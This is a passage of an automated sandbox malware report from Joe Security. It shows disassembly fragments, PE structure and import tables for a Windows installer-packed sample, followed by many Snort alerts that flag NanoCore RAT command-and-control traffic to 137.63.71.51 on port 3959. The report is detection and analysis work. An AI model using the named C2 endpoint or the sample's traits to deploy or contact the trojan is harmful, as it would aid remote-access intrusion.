lea esi, dword ptr [esi+eax+01h]

cmp byte ptr [esi], 00000000h

jne 00007F545500F41Ch

push 0000000Ah

call 00007F54550126C8h

push 00000008h

call 00007F54550126C1h

push 00000006h

mov dword ptr [0042A204h], eax

call 00007F54550126B5h

cmp eax, ebx

je 00007F545500F441h

push 0000001Eh

call eax

test eax, eax

je 00007F545500F439h

Authenticode Signature

Entrypoint Preview
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or byte ptr [0042A20Fh], 00000040h

push ebp

call dword ptr [00408044h]

push ebx

call dword ptr [004082A0h]

mov dword ptr [0042A2D8h], eax

push ebx

lea eax, dword ptr [esp+34h]

push 000002B4h

push eax

push ebx

push 004216A8h

call dword ptr [00408188h]

push 0040A2C8h

Instruction

Programming Language: [EXP] VC++ 6.0 SP5 build 8804

Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IMPORT 0x84fc 0xa0 .rdata

IMAGE_DIRECTORY_ENTRY_RESOURCE 0x59000 0x284b8 .rsrc

IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x43028 0x1e48 .ndata

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0 0x0

IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x8000 0x2b0 .rdata

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x62a5 0x6400 False 0.658984375 data 6.431390019180314 IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_MEM_READ

.rdata 0x8000 0x138e 0x1400 False 0.4509765625 data 5.146454805063938 IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_READ

.data 0xa000 0x20318 0x600 False 0.4928385416666667 data 3.90464114821524 IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_READ, 
IMAGE_SCN_MEM_WRITE

.ndata 0x2b000 0x2e000 0x0 False 0 empty 0.0 IMAGE_SCN_CNT_UNINITIALI
ZED_DATA, 
IMAGE_SCN_MEM_READ, 
IMAGE_SCN_MEM_WRITE

.rsrc 0x59000 0x284b8 0x28600 False 0.46781274187306504 data 5.678738189394348 IMAGE_SCN_CNT_INITIALIZE
D_DATA, 
IMAGE_SCN_MEM_READ

Name RVA Size Type Language Country

RT_ICON 0x59388 0x10828 dBase IV DBT, blocks size 0, block length 2048, 
next free block index 40, next free block 0, next 
used block 0

English United States

RT_ICON 0x69bb0 0x94a8 data English United States

Rich Headers

Data Directories

Sections

Resources
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RT_ICON 0x73058 0x5488 data English United States

RT_ICON 0x784e0 0x4228 dBase IV DBT of \200.DBF, blocks size 0, block 
length 16896, next free block index 40, next free 
block 224, next used block 4279173120

English United States

RT_ICON 0x7c708 0x25a8 data English United States

RT_ICON 0x7ecb0 0x10a8 data English United States

RT_ICON 0x7fd58 0x988 data English United States

RT_ICON 0x806e0 0x468 GLS_BINARY_LSB_FIRST English United States

RT_DIALOG 0x80b48 0xb8 data English United States

RT_DIALOG 0x80c00 0x100 data English United States

RT_DIALOG 0x80d00 0x11c data English United States

RT_DIALOG 0x80e20 0xc4 data English United States

RT_DIALOG 0x80ee8 0x60 data English United States

RT_GROUP_ICON 0x80f48 0x76 data English United States

RT_VERSION 0x80fc0 0x1b4 data English United States

RT_MANIFEST 0x81178 0x33e XML 1.0 document, ASCII text, with very long lines, 
with no line terminators

English United States

Name RVA Size Type Language Country

DLL Import

KERNEL32.dll SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, 
GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, 
GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, 
ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, 
RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, 
GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, 
MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, 
ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, 
DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, 
GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW

USER32.dll GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, 
GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, 
IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, 
GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, 
CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, 
InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, 
RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, 
ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, 
ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, 
CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage

GDI32.dll SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, 
SetBkColor

SHELL32.dll SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, 
SHFileOperationW

ADVAPI32.dll AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, 
LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, 
RegQueryValueExW, RegEnumKeyW

COMCTL32.dll ImageList_Create, ImageList_AddMasked, ImageList_Destroy

ole32.dll OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Language of compilation system Country where language is spoken Map

English United States

Imports

Possible Origin

Network Behavior

Snort IDS Alerts
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Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP

192.168.11.20137.63.71.5
14986139592025019 
09/28/22-
07:34:32.671694

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49861 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985139592025019 
09/28/22-
07:33:34.715524

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49851 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987139592025019 
09/28/22-
07:35:36.391773

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49871 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989439592025019 
09/28/22-
07:37:50.410067

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49894 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989139592025019 
09/28/22-
07:37:31.709636

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49891 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984439592025019 
09/28/22-
07:32:57.005302

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49844 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988139592025019 
09/28/22-
07:36:29.566940

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49881 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987739592025019 
09/28/22-
07:36:06.040630

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49877 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986739592025019 
09/28/22-
07:35:11.648652

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49867 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990439592816766 
09/28/22-
07:38:53.131391

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49904 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984739592025019 
09/28/22-
07:33:09.422159

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49847 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985739592025019 
09/28/22-
07:34:06.613935

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49857 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987139592816766 
09/28/22-
07:35:37.694051

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49871 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989139592816766 
09/28/22-
07:37:32.996576

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49891 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991739592816766 
09/28/22-
07:40:07.142646

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49917 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991039592025019 
09/28/22-
07:39:22.327186

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49910 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988139592816766 
09/28/22-
07:36:31.401253

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49881 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990039592025019 
09/28/22-
07:38:27.665932

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49900 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984839592816766 
09/28/22-
07:33:17.548675

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49848 3959 192.168.11.2
0

137.63.71.51

Copyright Joe Security LLC 2022 Page 48 of 90



192.168.11.20137.63.71.5
14985139592816766 
09/28/22-
07:33:36.010486

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49851 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991739592025019 
09/28/22-
07:40:05.847728

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49917 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985839592816766 
09/28/22-
07:34:14.363258

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49858 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986139592816766 
09/28/22-
07:34:34.515238

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49861 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989739592816766 
09/28/22-
07:38:10.805467

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49897 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986839592816766 
09/28/22-
07:35:19.667834

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49868 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988839592816766 
09/28/22-
07:37:14.298369

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49888 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987839592816766 
09/28/22-
07:36:13.495948

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49878 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984739592816766 
09/28/22-
07:33:11.271649

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49847 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990639592025019 
09/28/22-
07:39:03.782754

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49906 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991639592025019 
09/28/22-
07:39:59.664794

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49916 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985439592025019 
09/28/22-
07:33:53.711667

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49854 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985739592816766 
09/28/22-
07:34:07.936591

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49857 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986439592025019 
09/28/22-
07:34:52.006915

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49864 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986739592816766 
09/28/22-
07:35:12.944112

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49867 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988739592816766 
09/28/22-
07:37:08.613787

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49887 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990139592816766 
09/28/22-
07:38:35.212387

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49901 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988439592025019 
09/28/22-
07:36:48.157564

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49884 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987439592025019 
09/28/22-
07:35:48.778599

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49874 3959 192.168.11.2
0

137.63.71.51

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP
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192.168.11.20137.63.71.5
14987739592816766 
09/28/22-
07:36:07.329674

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49877 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991139592816766 
09/28/22-
07:39:29.771240

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49911 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984839592025019 
09/28/22-
07:33:15.704466

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49848 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985839592025019 
09/28/22-
07:34:13.071342

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49858 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989239592816766 
09/28/22-
07:37:39.179510

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49892 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989839592025019 
09/28/22-
07:38:15.231288

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49898 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14992139592025019 
09/28/22-
07:40:30.575447

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49921 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986539592025019 
09/28/22-
07:34:58.624111

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49865 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987239592816766 
09/28/22-
07:35:43.852562

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49872 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990039592816766 
09/28/22-
07:38:29.506939

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49900 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14992039592816766 
09/28/22-
07:40:25.651593

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49920 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990139592025019 
09/28/22-
07:38:33.930170

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49901 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991139592025019 
09/28/22-
07:39:28.485341

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49911 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987539592025019 
09/28/22-
07:35:53.721836

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49875 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988239592816766 
09/28/22-
07:36:37.102195

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49882 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991039592816766 
09/28/22-
07:39:23.613883

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49910 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986539592816766 
09/28/22-
07:35:00.467445

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49865 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987539592816766 
09/28/22-
07:35:55.008489

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49875 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988539592025019 
09/28/22-
07:36:54.405917

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49885 3959 192.168.11.2
0

137.63.71.51

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP
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192.168.11.20137.63.71.5
14991439592025019 
09/28/22-
07:39:47.210945

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49914 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985539592816766 
09/28/22-
07:34:01.960430

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49855 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989539592816766 
09/28/22-
07:37:58.451493

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49895 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986239592816766 
09/28/22-
07:34:40.894645

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49862 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989539592025019 
09/28/22-
07:37:56.611347

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49895 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985239592816766 
09/28/22-
07:33:42.236724

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49852 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988539592816766 
09/28/22-
07:36:55.691366

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49885 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984239592816766 
09/28/22-
07:32:45.752995

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49842 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990439592025019 
09/28/22-
07:38:51.273911

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49904 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987639592025019 
09/28/22-
07:35:59.918218

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49876 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987439592816766 
09/28/22-
07:35:49.136546

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49874 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988439592816766 
09/28/22-
07:36:50.000586

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49884 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988639592025019 
09/28/22-
07:37:00.607474

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49886 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989639592025019 
09/28/22-
07:38:02.828628

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49896 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989939592025019 
09/28/22-
07:38:21.464409

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49899 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14992039592025019 
09/28/22-
07:40:24.359987

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49920 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985439592816766 
09/28/22-
07:33:55.016289

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49854 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986439592816766 
09/28/22-
07:34:53.301647

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49864 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989439592816766 
09/28/22-
07:37:51.693463

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49894 3959 192.168.11.2
0

137.63.71.51

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP
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192.168.11.20137.63.71.5
14988939592025019 
09/28/22-
07:37:19.212158

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49889 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987939592025019 
09/28/22-
07:36:18.414249

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49879 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990339592025019 
09/28/22-
07:38:45.052370

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49903 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991339592025019 
09/28/22-
07:39:40.964800

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49913 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984539592816766 
09/28/22-
07:33:04.507101

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49845 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986939592025019 
09/28/22-
07:35:24.082364

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49869 3959 192.168.11.2
0

137.63.71.51

137.63.71.51192.168.11.2
03959498792841753 
09/28/22-
07:36:18.769615

TCP 284175
3

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) 3959 49879 137.63.71.51 192.168.11.2
0

192.168.11.20137.63.71.5
14989339592816766 
09/28/22-
07:37:46.017957

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49893 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985939592025019 
09/28/22-
07:34:19.581790

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49859 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988739592025019 
09/28/22-
07:37:06.777474

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49887 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984939592025019 
09/28/22-
07:33:22.083297

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49849 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986339592816766 
09/28/22-
07:34:47.371741

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49863 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989739592025019 
09/28/22-
07:38:08.967541

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49897 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991239592025019 
09/28/22-
07:39:34.701330

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49912 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984439592816766 
09/28/22-
07:32:58.844712

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49844 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988839592025019 
09/28/22-
07:37:13.012736

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49888 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986839592025019 
09/28/22-
07:35:17.817489

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49868 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987839592025019 
09/28/22-
07:36:12.211007

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49878 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988339592816766 
09/28/22-
07:36:43.312967

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49883 3959 192.168.11.2
0

137.63.71.51

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP
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192.168.11.20137.63.71.5
14990239592025019 
09/28/22-
07:38:40.135284

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49902 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989939592816766 
09/28/22-
07:38:22.747803

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49899 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991539592025019 
09/28/22-
07:39:53.398528

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49915 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986639592816766 
09/28/22-
07:35:06.415996

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49866 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988939592816766 
09/28/22-
07:37:21.056763

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49889 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985339592816766 
09/28/22-
07:33:48.725985

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49853 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989639592816766 
09/28/22-
07:38:04.102624

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49896 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984939592816766 
09/28/22-
07:33:23.366082

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49849 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988639592816766 
09/28/22-
07:37:01.883031

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49886 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987639592816766 
09/28/22-
07:36:01.203666

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49876 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984339592816766 
09/28/22-
07:32:51.953878

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49843 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990539592025019 
09/28/22-
07:38:57.519593

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49905 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985939592816766 
09/28/22-
07:34:21.408193

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49859 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991839592025019 
09/28/22-
07:40:11.972333

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49918 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986939592816766 
09/28/22-
07:35:25.372861

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49869 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990839592025019 
09/28/22-
07:39:09.986118

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49908 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987939592816766 
09/28/22-
07:36:18.769843

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49879 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984339592025019 
09/28/22-
07:32:50.673409

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49843 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986639592025019 
09/28/22-
07:35:05.133446

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49866 3959 192.168.11.2
0

137.63.71.51

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP
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192.168.11.20137.63.71.5
14985339592025019 
09/28/22-
07:33:47.442006

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49853 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991839592816766 
09/28/22-
07:40:13.260540

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49918 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989039592816766 
09/28/22-
07:37:27.321935

TCP 281676
6

